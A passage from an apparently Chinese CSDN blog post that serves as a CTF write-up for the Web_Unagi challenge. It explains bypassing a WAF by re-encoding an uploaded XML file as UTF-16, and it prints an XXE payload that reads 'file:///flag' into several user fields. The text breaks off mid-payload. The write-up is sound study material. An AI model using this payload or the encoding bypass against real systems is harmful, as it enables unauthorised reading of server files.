xxe编码绕过（8-19）

最新推荐文章于 2024-01-29 17:51:49 发布

ta3shi

最新推荐文章于 2024-01-29 17:51:49 发布

阅读量1.7k

点赞数

分类专栏： buuctf刷题记录 ctfweb

本文链接：https://blog.csdn.net/Realiy/article/details/108112531

版权

本文介绍了在CSAWQual 2019 Web_Unagi挑战中遇到的XXE（XML External Entity）漏洞。挑战允许上传XML文件，但存在WAF拦截。通过使用UTF16编码，成功绕过WAF限制，当发现intro标签并利用其他回显位置不足的情况，转换为UTF16编码的XML文件得以上传。

摘要由CSDN通过智能技术生成

[CSAWQual 2019]Web_Unagi

只能上传xml文件，考虑存在xxe

直接上传显示waf拦截了，转换成utf16编码就能绕过

<!--filename:1.xml-->
<!--author:ta3shi-->
<!DOCTYPE users[
<!ENTITY a SYSTEM "file:///flag">
]>
<users>
<user>
<username>Alice</username>
<password>passwd1</password>
<name>&a;</name>
<email>&a;</email>
<intro>&a;</intro>
<group>&a;</group>
</user>
<user>
<username>bob</username>
<password>passwd2</